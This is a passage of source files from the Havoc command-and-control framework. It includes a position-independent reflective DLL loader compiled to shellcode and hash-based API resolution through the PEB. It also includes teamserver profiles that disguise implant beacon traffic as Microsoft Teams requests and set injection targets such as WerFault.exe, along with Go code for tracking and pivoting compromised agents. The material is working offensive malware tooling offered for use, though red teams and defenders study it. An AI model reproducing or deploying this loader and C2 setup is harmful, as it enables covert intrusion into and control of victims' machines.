SecMemory = NULL; PVOID SecMemorySize = 0; DWORD Protection = 0; ULONG OldProtection = 0; PIMAGE_DATA_DIRECTORY ImageDir = NULL; KAYN_ARGS KaynArgs = { 0 }; // 0. First we need to get our own image base KaynLibraryLdr = KaynCaller(); Instance.Modules.Ntdll = LdrModulePeb( NTDLL_HASH ); Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_LDRLOADDLL ); Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY ); Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY ); NtHeaders = C_PTR( KaynLibraryLdr + ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew ); SecHeader = IMAGE_FIRST_SECTION( NtHeaders ); KHdrSize = SecHeader[ 0 ].VirtualAddress; KMemSize = NtHeaders->OptionalHeader.SizeOfImage - KHdrSize; if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) ) { // TODO: find the base address of this shellcode in a better way? KaynArgs.KaynLdr = ( PVOID ) ( ( ( ULONG_PTR )KaynLibraryLdr ) & ( ~ ( PAGE_SIZE - 1 ) ) ); KaynArgs.DllCopy = KaynLibraryLdr; KaynArgs.Demon = KVirtualMemory; KaynArgs.DemonSize = KMemSize; for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { MemCopy( C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize ), // Section New Memory C_PTR( KaynLibraryLdr + SecHeader[ i ].PointerToRawData ), // Section Raw Data SecHeader[ i ].SizeOfRawData // Section Size ); } ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; if ( ImageDir->VirtualAddress ) KaynLdrReloc( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ), KHdrSize ); for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { SecMemory = C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize ); SecMemorySize = SecHeader[ i ].SizeOfRawData; Protection = 0; OldProtection = 0; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) Protection = PAGE_WRITECOPY; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) Protection = PAGE_READONLY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_READWRITE; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) Protection = PAGE_EXECUTE; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_WRITECOPY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) { Protection = PAGE_EXECUTE_READ; KaynArgs.TxtBase = KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize; KaynArgs.TxtSize = SecHeader[ i ].SizeOfRawData; } if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_EXECUTE_READWRITE; Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); } // -------------------------------- // 6. Finally executing our DllMain // -------------------------------- BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint - KHdrSize ); KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, &KaynArgs ); } } VOID KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir, DWORD KHdrSize ) { PIMAGE_BASE_RELOCATION pImageBR = C_PTR( BaseRelocDir - KHdrSize ); LPVOID OffsetIB = C_PTR( U_PTR( KaynImage - KHdrSize ) - U_PTR( ImageBase ) ); PIMAGE_RELOC Reloc = NULL; while( pImageBR->VirtualAddress != 0 ) { Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 ); while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock ) { if ( Reloc->type == IMAGE_REL_TYPE ) *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset - KHdrSize ) += ( ULONG_PTR ) OffsetIB; else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE ) __debugbreak(); // TODO: handle this error Reloc++; } pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc; } }havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Utils.c000066400000000000000000000011161467014221700235100ustar00rootroot00000000000000#include #include SEC( text, B ) UINT_PTR HashString( LPVOID String, UINT_PTR Length ) { ULONG Hash = 5381; PUCHAR Ptr = String; do { UCHAR character = *Ptr; if ( ! Length ) { if ( !*Ptr ) break; } else { if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break; if ( !*Ptr ) ++Ptr; } if ( character >= 'a' ) character -= 0x20; Hash = ( ( Hash << 5 ) + Hash ) + character; ++Ptr; } while ( TRUE ); return Hash; }havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Win32.c000066400000000000000000000034351467014221700233200ustar00rootroot00000000000000#include #include #include SEC( text, B ) UINT_PTR LdrModulePeb( UINT_PTR hModuleHash ) { PLDR_DATA_TABLE_ENTRY pModule = ( PLDR_DATA_TABLE_ENTRY ) ( ( PPEB ) PPEB_PTR )->Ldr->InMemoryOrderModuleList.Flink; PLDR_DATA_TABLE_ENTRY pFirstModule = pModule; do { DWORD ModuleHash = HashString( pModule->FullDllName.Buffer, pModule->FullDllName.Length ); if ( ModuleHash == hModuleHash ) return ( UINT_PTR ) pModule->Reserved2[ 0 ]; pModule = ( PLDR_DATA_TABLE_ENTRY ) pModule->Reserved1[ 0 ]; } while ( pModule && pModule != pFirstModule ); return INVALID_HANDLE_VALUE; } SEC( text, B ) PVOID LdrFunctionAddr( UINT_PTR Module, UINT_PTR FunctionHash ) { PIMAGE_NT_HEADERS ModuleNtHeader = NULL; PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL; PDWORD AddressOfFunctions = NULL; PDWORD AddressOfNames = NULL; PWORD AddressOfNameOrdinals = NULL; ModuleNtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ModuleExportedDirectory = C_PTR( Module + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); AddressOfNames = C_PTR( Module + ModuleExportedDirectory->AddressOfNames ); AddressOfFunctions = C_PTR( Module + ModuleExportedDirectory->AddressOfFunctions ); AddressOfNameOrdinals = C_PTR( Module + ModuleExportedDirectory->AddressOfNameOrdinals ); for (DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++) { if ( HashString( C_PTR( Module + AddressOfNames[i] ), 0 ) == FunctionHash ) return C_PTR( Module + AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] ); } }havoc-0.6~git20240910.69ce17c/payloads/Shellcode/makefile000066400000000000000000000023761467014221700225150ustar00rootroot00000000000000CCX64 = x86_64-w64-mingw32-gcc CCX86 = i686-w64-mingw32-gcc CFLAGS = -Os -fno-asynchronous-unwind-tables -nostdlib CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 CFLAGS += -s -ffunction-sections -falign-jumps=1 -w CFLAGS += -falign-labels=1 -fPIC -Wl,-TScripts/Linker.ld CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup EXECUTABLE_X64 = Bin/Shellcode.x64.exe EXECUTABLE_X86 = Bin/Shellcode.x86.exe RAWBINARY_X64 = ../Shellcode.x64.bin RAWBINARY_X86 = ../Shellcode.x86.bin all: x64 x86 x64: clean @ echo "[*] Compile x64 executable..." @ nasm -f win64 Source/Asm/x64/Asm.s -o Bin/Asm.x64.o @ $(CCX64) Source/*.c Bin/Asm.x64.o -o $(EXECUTABLE_X64) $(CFLAGS) $(LFLAGS) -IInclude -masm=intel @ echo "[*] Extract shellcode: $(RAWBINARY_X64)" @ python3 Scripts/extract.py -f $(EXECUTABLE_X64) -o $(RAWBINARY_X64) @ rm $(EXECUTABLE_X64) x86: clean @ echo "[*] Compile x86 executable..." @ nasm -f win32 Source/Asm/x86/Asm.s -o Bin/Asm.x86.o @ $(CCX86) Source/*.c Bin/Asm.x86.o -o $(EXECUTABLE_X86) $(CFLAGS) $(LFLAGS) -IInclude -masm=intel @ echo "[*] Extract shellcode: $(RAWBINARY_X86)" @ python3 Scripts/extract.py -f $(EXECUTABLE_X86) -o $(RAWBINARY_X86) @ rm $(EXECUTABLE_X86) clean: @ rm -rf Bin/*.o @ rm -rf Bin/*.bin @ rm -rf Bin/*.exe havoc-0.6~git20240910.69ce17c/profiles/000077500000000000000000000000001467014221700171125ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/profiles/havoc.yaotl000066400000000000000000000013421467014221700212640ustar00rootroot00000000000000Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc" Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } # this is optional. if you dont use it you can remove it. Service { Endpoint = "service-endpoint" Password = "service-password" } Demon { Sleep = 2 Jitter = 15 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } havoc-0.6~git20240910.69ce17c/profiles/http_smb.yaotl000066400000000000000000000045031467014221700220060ustar00rootroot00000000000000Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" Compiler86 = "/usr/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } Listeners { Http { Name = "teams profile - http" Hosts = [ "5pider.net", # our callback host. ] HostBind = "0.0.0.0" # the address where the listener should bind to. HostRotation = "round-robin" PortBind = 443 PortConn = 443 Secure = false # for now disabled so we can see the traffic content. (but alaways enabled this!!!) KillDate = "2024-01-02 12:00:00" UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" Uris = [ "/Collector/2.0/settings/" ] Headers = [ "Accept: json", "Referer: https://teams.microsoft.com/_", "x-ms-session-id: f73c3186-057a-d996-3b63-b6e5de6ef20c", "x-ms-client-type: desktop", "x-mx-client-version: 27/1.0.0.2021020410", "Accept-Encoding: gzip, deflate, br", "Origin: https://teams.microsoft.com" ] Response { Headers = [ "Content-Type: application/json; charset=utf-8", "Server: Microsoft-HTTPAPI/2.0", "X-Content-Type-Options: nosniff", "x-ms-environment: North Europe-prod-3,_cnsVMSS-6_26", "x-ms-latency: 40018.2038", "Access-Control-Allow-Origin: https://teams.microsoft.com", "Access-Control-Allow-Credentials: true", "Connection: keep-alive" ] } } Smb { Name = "Pivot - Smb" PipeName = "demon_pipe" } } # this is optional. if you dont use it you can remove it. Service { Endpoint = "service-endpoint" Password = "service-password" } Demon { Sleep = 2 Jitter = 20 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\Werfault.exe" Spawn32 = "C:\\Windows\\SysWOW64\\Werfault.exe" } } havoc-0.6~git20240910.69ce17c/profiles/webhook_example.yaotl000066400000000000000000000015441467014221700233410ustar00rootroot00000000000000Teamserver { Host = "0.0.0.0" Port = 40056 } WebHook { Discord { # required Url = "..." # replace this with your webhook # optional AvatarUrl = "https://raw.githubusercontent.com/HavocFramework/Havoc/main/Assets/Havoc.png" # url to an image to use as an avatar # optional User = "Havoc" # User name of the webhook bot } } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } # this is optional. if you dont use it you can remove it. Service { Endpoint = "service-endpoint" Password = "service-password" } Demon { Sleep = 2 Jitter = 30 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } havoc-0.6~git20240910.69ce17c/teamserver/000077500000000000000000000000001467014221700174445ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/GA-Teamserver000066400000000000000000000027271467014221700220010ustar00rootroot00000000000000# Havoc Teamserver Dockerfile # ------------------------------------------------------------------------------ # Commands for usage: # # Build image file: # 'sudo docker build -t ga-teamserver -f GA-Teamserver .' # Copy built Teamserver from container: # 'docker cp :/go/Build/bin/teamserver /host/path/target' # # Extras # Create Data storage for persistence # 'docker volume create havoc-teamserver-data' # Enter Container: # 'docker run exec -it bash' # ------------------------------------------------------------------------------ ARG GO_VERSION="1.19.1" FROM golang:${GO_VERSION} # ENV PATH=/root/.local/bin:$PATH ENV USER=root # RUN apt update \ && apt -y install \ alien \ debhelper \ devscripts \ golang-go \ nasm \ mingw-w64 \ dh-golang \ dh-make \ fakeroot \ pkg-config \ python3-all-dev \ python3-pip \ rpm \ sudo \ upx-ucl \ && pip install --upgrade jsonschema # # Copy over the client COPY . Build # # Pull the repo from Github #RUN git clone https://github.com/HavocFramework/Havoc # # Build the cloned repos copy of the Teamserver-Client RUN cd Build && make # # ------------------------------------------------------------------------------# # original @author Nicola Asuni # @copyright 2016-2022 Nicola Asuni - Tecnick.com LTD # @license MIT (see LICENSE) # @link https://github.com/tecnickcom/alldev # ------------------------------------------------------------------------------ havoc-0.6~git20240910.69ce17c/teamserver/Install.sh000077500000000000000000000010101467014221700214010ustar00rootroot00000000000000#!/bin/bash if [ ! -d "dir/x86_64-w64-mingw32-cross" ]; then sudo apt -qq --yes install golang-go nasm mingw-w64 wget >/dev/null 2>&1 if [ ! -d "data" ]; then mkdir data fi if [ ! -f /tmp/mingw-musl-64.tgz ]; then wget https://musl.cc/x86_64-w64-mingw32-cross.tgz -q -O /tmp/mingw-musl-64.tgz fi tar zxf /tmp/mingw-musl-64.tgz -C data if [ ! -f /tmp/mingw-musl-32.tgz ]; then wget https://musl.cc/i686-w64-mingw32-cross.tgz -q -O /tmp/mingw-musl-32.tgz fi tar zxf /tmp/mingw-musl-32.tgz -C data fi havoc-0.6~git20240910.69ce17c/teamserver/README.md000066400000000000000000000045071467014221700207310ustar00rootroot00000000000000# Havoc Teamserver Source code of Havoc teamserver. Written in Golang. ### Build the Teamserver - **Pre-requisites** 1. Go1.18 - **Native** - To build the Teamserver client locally, run the following command in this folder(`~/Havoc/Teamserver/`): 1. `make` - That's it! If it ran successfully to completion, you should now have a compiled binary ready for use in the `/bin` folder. - Example use with a prewritten profile: `sudo ./teamserver server --profile profiles/havoc.yaotl --verbose` - Example use with default profile: `sudo ./teamserver --default --verbose` - **Docker** - To build the Teamserver client using a local Docker container, run the following commands(assuming you have Docker installed): 1. Build the Dockerfile: * `sudo docker build -t havoc-teamserver -f Teamserver-Dockerfile .` 2. (Optional) Create a persistent data volume for the container: * `sudo docker volume create havoc-c2-data` 3. Run the container: * `sudo docker run -it -d -v havoc-c2-data:/data havoc-teamserver` - **Jenkins Docker** - We can also build the Teamserver binary using a pre-configured Jenkins Docker image. 1. From the parent folder(`Havoc`), run the following command to build the container: * `sudo docker build -t jenkins-havoc-teamserver -f JT-Dockerfile .`` 2. (Optionally) Create a persistent data volume for the container: * `sudo docker volume create havoc-cicd-c2-data` 2. Next, we want to run the container: * `sudo docker run -p8080:8080 -it -d -v havoc-cicd-c2-data:/data jenkins-havoc-teamserver` 3. We can now visit Jenkins at `localhost:8080` and create a Pipeline to build the Havoc Teamserver! * For a pre-done Groovy script, please see the `Havoc-Teamserver.groovy` in the `Assets` folder. ### Run the Teamserver - **Base:** - The teamserver can also be used directly: * `./teamserver -h` * `./teamserver server --profile profiles/havoc.yaotl -v` * `./teamserver server --default -v` - **Docker** - We can run the teamserver completely from within a container! 1. Build the container: * `sudo docker build -f Client-Dockerfile .` 2. Launch the container (be sure to change the port mapping to match your environment): * `sudo docker run -p40056:40056 -p 443:443 -it -d -v havoc-c2-data:/data jenkins-havoc-client` 3. Access the teamserver at `localhost:40056` using your Teamserver client. havoc-0.6~git20240910.69ce17c/teamserver/Teamserver-Dockerfile000066400000000000000000000037341467014221700235600ustar00rootroot00000000000000# Havoc Teamserver Dockerfile # ------------------------------------------------------------------------------ # Commands for usage: # # Build image file: # 'docker build -t havoc-teamserver -f Teamserver-Dockerfile .' # (Optional) Create Data volume for persistence: # `docker volume create ` # Run Built Image file(`-d` for persistence): # 'docker run -ti -d -v havoc-teamserver-data:/data havoc-teamserver' # Copy built Teamserver from container: # 'docker cp :/go/Build/bin/teamserver /host/path/target' # # Run Built Teamserver from Docker container: # `docker run -p40056:40056 -p 443:443 -it -d -v havoc-c2-data:/data havoc-teamserver` # `docker exec -t "/go/Build/bin/teamserver"` # # Extras # Create Data storage for persistence # 'docker volume create havoc-teamserver-data' # Enter Container: # 'docker run exec -it bash' # ------------------------------------------------------------------------------ ARG GO_VERSION="1.19.1" FROM golang:${GO_VERSION} # ENV PATH=/root/.local/bin:$PATH ENV USER=root # RUN apt update \ && apt -y install \ alien \ debhelper \ devscripts \ golang-go \ nasm \ mingw-w64 \ dh-golang \ dh-make \ fakeroot \ pkg-config \ python3-all-dev \ python3-pip \ rpm \ sudo \ libcap2-bin \ upx-ucl \ && pip install --upgrade jsonschema # # Copy over the client #COPY . Build/ #RUN cd Build/ && make # # Pull the repo from Github RUN git clone https://github.com/HavocFramework/Havoc # # Build the cloned repos copy of the Teamserver-Client RUN cd Havoc/teamserver/ && chmod +x ./Install.sh && ./Install.sh && cd .. && make ts-build # # ------------------------------------------------------------------------------# # original @author Nicola Asuni # @copyright 2016-2022 Nicola Asuni - Tecnick.com LTD # @license MIT (see LICENSE) # @link https://github.com/tecnickcom/alldev # ------------------------------------------------------------------------------ havoc-0.6~git20240910.69ce17c/teamserver/cmd/000077500000000000000000000000001467014221700202075ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/cmd/client.go000066400000000000000000000006631467014221700220210ustar00rootroot00000000000000package cmd import ( "github.com/spf13/cobra" "os" "os/exec" ) var CobraClient = &cobra.Command{ Use: "client", Short: "client command", SilenceUsage: true, RunE: func(cmd *cobra.Command, args []string) error { startMenu() client := exec.Command("client/Havoc", args...) client.Stdout = os.Stdout client.Stderr = os.Stderr if err := client.Run(); err != nil { return err } return nil }, } havoc-0.6~git20240910.69ce17c/teamserver/cmd/cmd.go000066400000000000000000000044701467014221700213060ustar00rootroot00000000000000package cmd import ( "fmt" "os" "Havoc/cmd/server" "Havoc/pkg/colors" "github.com/spf13/cobra" ) var ( VersionNumber = "0.7" VersionName = "Bites The Dust" DatabasePath = "data/teamserver.db" HavocCli = &cobra.Command{ Use: "havoc", Short: fmt.Sprintf("Havoc Framework [Version: %v] [CodeName: %v]", VersionNumber, VersionName), SilenceUsage: true, RunE: teamserverFunc, } flags server.TeamserverFlags ) // init all flags func init() { HavocCli.CompletionOptions.DisableDefaultCmd = true // server flags CobraServer.Flags().SortFlags = false CobraServer.Flags().StringVarP(&flags.Server.Profile, "profile", "", "", "set havoc teamserver profile") CobraServer.Flags().BoolVarP(&flags.Server.Debug, "debug", "", false, "enable debug mode") CobraServer.Flags().BoolVarP(&flags.Server.DebugDev, "debug-dev", "", false, "enable debug mode for developers (compiles the agent with the debug mode/macro enabled)") CobraServer.Flags().BoolVarP(&flags.Server.SendLogs, "send-logs", "", false, "the agent will send logs over http(s) to the teamserver") CobraServer.Flags().BoolVarP(&flags.Server.Default, "default", "d", false, "uses default profile (overwrites --profile)") CobraServer.Flags().BoolVarP(&flags.Server.Verbose, "verbose", "v", false, "verbose messages") // add commands to the teamserver cli HavocCli.Flags().SortFlags = false HavocCli.AddCommand(CobraServer) HavocCli.AddCommand(CobraClient) } func teamserverFunc(cmd *cobra.Command, args []string) error { startMenu() if len(os.Args) <= 2 { err := cmd.Help() if err != nil { return err } os.Exit(0) } return nil } func startMenu() { fmt.Println(colors.Red(" _______ _______ _______ \n │\\ /│( ___ )│\\ /│( ___ )( ____ \\\n │ ) ( ││ ( ) ││ ) ( ││ ( ) ││ ( \\/\n │ (___) ││ (___) ││ │ │ ││ │ │ ││ │ \n │ ___ ││ ___ │( ( ) )│ │ │ ││ │ \n │ ( ) ││ ( ) │ \\ \\_/ / │ │ │ ││ │ \n │ ) ( ││ ) ( │ \\ / │ (___) ││ (____/\\\n │/ \\││/ \\│ \\_/ (_______)(_______/")) fmt.Println() fmt.Println(" ", colors.Red("pwn"), "and", colors.Blue("elevate"), "until it's done") fmt.Println() } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server.go000066400000000000000000000037201467014221700220460ustar00rootroot00000000000000package cmd import ( "fmt" "os" "time" "Havoc/cmd/server" "Havoc/pkg/colors" "Havoc/pkg/events" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/spf13/cobra" ) var CobraServer = &cobra.Command{ Use: "server", Short: "teamserver command", SilenceUsage: true, RunE: func(cmd *cobra.Command, args []string) error { var ( DirPath, _ = os.Getwd() ServerTimer = time.Now() LogrPath = "data/loot/" + ServerTimer.Format("2006.01.02._15:04:05") Server *server.Teamserver ) if len(os.Args) <= 2 { err := cmd.Help() if err != nil { return err } os.Exit(0) } Server = server.NewTeamserver(DatabasePath) Server.SetServerFlags(flags) logr.LogrInstance = logr.NewLogr(DirPath, LogrPath) if logr.LogrInstance == nil { logger.Error("failed to create logr loot folder") return nil } logr.LogrInstance.LogrSendText = func(text string) { var pk = events.Teamserver.Logger(text) Server.EventAppend(pk) Server.EventBroadcast("", pk) } logr.LogrInstance.ServerStdOutInit() startMenu() if flags.Server.Debug { logger.SetDebug(true) logger.Debug("Debug mode enabled") } logger.ShowTime(flags.Server.Verbose) logger.Info(fmt.Sprintf("Havoc Framework [Version: %v] [CodeName: %v]", VersionNumber, VersionName)) if flags.Server.Default { Server.SetProfile(DirPath + "/data/havoc.yaotl") } else if flags.Server.Profile != "" { Server.SetProfile(flags.Server.Profile) } else { logger.Error("No profile specified. Specify a profile with --profile or choose the standard profile with --default") os.Exit(1) } if !Server.FindSystemPackages() { logger.Error("Please install needed packages. Refer to the Wiki for more help.") os.Exit(1) } logger.Info("Time: " + colors.Yellow(ServerTimer.Format("02/01/2006 15:04:05"))) logger.Info("Teamserver logs saved under: " + colors.Blue(LogrPath)) // start teamserver Server.Start() os.Exit(0) return nil }, } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/000077500000000000000000000000001467014221700215155ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/agent.go000066400000000000000000000143511467014221700231460ustar00rootroot00000000000000package server import ( "Havoc/pkg/logger" "encoding/json" "math/rand" "time" "fmt" "strconv" "Havoc/pkg/agent" "Havoc/pkg/events" "Havoc/pkg/packager" ) func (t *Teamserver) AgentUpdate(agent *agent.Agent) { err := t.DB.AgentUpdate(agent) if err != nil { logger.Error("Could not update agent: " + err.Error()) } } func (t *Teamserver) Died(Agent *agent.Agent) { Agent.Active = false t.UnlinkFromAll(Agent) t.EventAgentMark(Agent.NameID, "Dead") t.AgentUpdate(Agent) } func (t *Teamserver) UnlinkFromAll(Agent *agent.Agent) { // remove all links from agent for i := range Agent.Pivots.Links { t.LinkRemove(Agent, Agent.Pivots.Links[i], false) Agent.Pivots.Links = append(Agent.Pivots.Links[:i], Agent.Pivots.Links[i+1:]...) } // remove agent from parent's link for _, ParentAgent := range t.Agents.Agents { if ParentAgent.NameID == Agent.NameID { continue } for i := range ParentAgent.Pivots.Links { if ParentAgent.Pivots.Links[i].NameID == Agent.NameID { t.LinkRemove(ParentAgent, Agent, false) ParentAgent.Pivots.Links = append(ParentAgent.Pivots.Links[:i], ParentAgent.Pivots.Links[i+1:]...) break } } } } func (t *Teamserver) ParentOf(Agent *agent.Agent) (int, error) { var AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64) ID, err := t.DB.ParentOf(int(AgentID)) return ID, err } func (t *Teamserver) LinksOf(Agent *agent.Agent) []int { var AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64) return t.DB.LinksOf(int(AgentID)) } func (t *Teamserver) LinkAdd(ParentAgent *agent.Agent, LinkAgent *agent.Agent) error { var ParentAgentID, _ = strconv.ParseInt(ParentAgent.NameID, 16, 64) var LinkAgentID, _ = strconv.ParseInt(LinkAgent.NameID, 16, 64) err := t.DB.LinkAdd(int(ParentAgentID), int(LinkAgentID)) if err != nil { logger.Error("Could not add link to database: " + err.Error()) } return nil } func (t *Teamserver) LinkRemove(ParentAgent *agent.Agent, LinkAgent *agent.Agent, UpdateLinks bool) { var ParentAgentID, _ = strconv.ParseInt(ParentAgent.NameID, 16, 64) var LinkAgentID, _ = strconv.ParseInt(LinkAgent.NameID, 16, 64) LinkAgent.Active = false LinkAgent.Reason = "Disconnected" if UpdateLinks { for i := range ParentAgent.Pivots.Links { if ParentAgent.Pivots.Links[i].NameID == LinkAgent.NameID { ParentAgent.Pivots.Links = append(ParentAgent.Pivots.Links[:i], ParentAgent.Pivots.Links[i+1:]...) break } } } err := t.DB.LinkRemove(int(ParentAgentID), int(LinkAgentID)) if err != nil { logger.Error("Could not remove link to database: " + err.Error()) } t.AgentUpdate(LinkAgent) } func (t *Teamserver) AgentHasDied(Agent *agent.Agent) bool { var AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64) return t.DB.AgentHasDied(int(AgentID)) } func (t *Teamserver) AgentAdd(Agent *agent.Agent) []*agent.Agent { if Agent != nil { if t.WebHooks != nil { t.WebHooks.NewAgent(Agent.ToMap()) } } err := t.DB.AgentAdd(Agent) if err != nil { logger.Error("Could not add agent to database: " + err.Error()) } return t.Agents.AgentsAppend(Agent) } func (t *Teamserver) AgentSendNotify(Agent *agent.Agent) { var pk packager.Package /* create a new agent package */ pk = t.EventNewDemon(Agent) /* append the new agent event */ t.EventAppend(pk) /* send it to every connected client */ t.EventBroadcast("", pk) } func (t *Teamserver) AgentCallbackSize(DemonInstance *agent.Agent, i int) { var ( Message = make(map[string]string) pk packager.Package ) Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Send Task to Agent [%v bytes]", i) OutputJson, _ := json.Marshal(Message) pk = events.Demons.DemonOutput(DemonInstance.NameID, agent.HAVOC_CONSOLE_MESSAGE, string(OutputJson)) t.EventAppend(pk) t.EventBroadcast("", pk) } func (t *Teamserver) AgentInstance(AgentID int) *agent.Agent { for _, demon := range t.Agents.Agents { var NameID, _ = strconv.ParseInt(demon.NameID, 16, 64) if AgentID == int(NameID) { return demon } } return nil } func (t *Teamserver) AgentLastTimeCalled(AgentID string, LastCallback string, Sleep int, Jitter int, KillDate int64, WorkingHours int32) { var ( Output = map[string]string{ "Last": LastCallback, "Sleep": fmt.Sprintf("%d", Sleep), "Jitter": fmt.Sprintf("%d", Jitter), "KillDate": fmt.Sprintf("%d", KillDate), "WorkingHours": fmt.Sprintf("%d", WorkingHours), } out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(AgentID, agent.COMMAND_NOJOB, string(out)) ) t.EventBroadcast("", pk) } func (t *Teamserver) AgentExist(AgentID int) bool { for _, demon := range t.Agents.Agents { var NameID, err = strconv.ParseInt(demon.NameID, 16, 64) if err != nil { logger.Debug("Failed to convert demon.NameID to int: " + err.Error()) return false } if AgentID == int(NameID) { return true } } return false } func (t *Teamserver) AgentConsole(AgentID string, CommandID int, Output map[string]string) { var ( out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(AgentID, CommandID, string(out)) ) t.EventAppend(pk) t.EventBroadcast("", pk) } func (t *Teamserver) PythonModuleCallback(ClientID string, AgentID string, CommandID int, Output map[string]string) { var ( out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(AgentID, CommandID, string(out)) ) err := t.SendEvent(ClientID, pk) if err != nil { logger.Error("SendEvent error: ", err) } } func (t *Teamserver) AgentCallback(DemonID string, Time string) { var ( Output = map[string]string{ "Output": Time, } out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(DemonID, agent.COMMAND_NOJOB, string(out)) ) t.EventBroadcast("", pk) } func (t *Teamserver) SendLogs() bool { return t.Flags.Server.SendLogs } func (t *Teamserver) GetDotNetPipeTemplate() string { PipeTemplate := t.Profile.Config.Demon.DotNetNamePipe // https://gist.github.com/realoriginal/d9178c9b071707fec2d6de89a63e4709 PipeTemplates := []string{ "Winsock2\\\\CatalogChangeListener-$#-0", "mojo.{pid}.{tid}.####################", "crashpad_{pid}_@@@@@@@@@@@@@@@@", "chrome.sync.{pid}.{tid}.########", } if PipeTemplate == "" { rand.Seed(time.Now().UnixNano()) index := rand.Intn(len(PipeTemplates)) PipeTemplate = PipeTemplates[index] } return PipeTemplate } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/dispatch.go000066400000000000000000000631711467014221700236530ustar00rootroot00000000000000package server import ( "encoding/json" "errors" 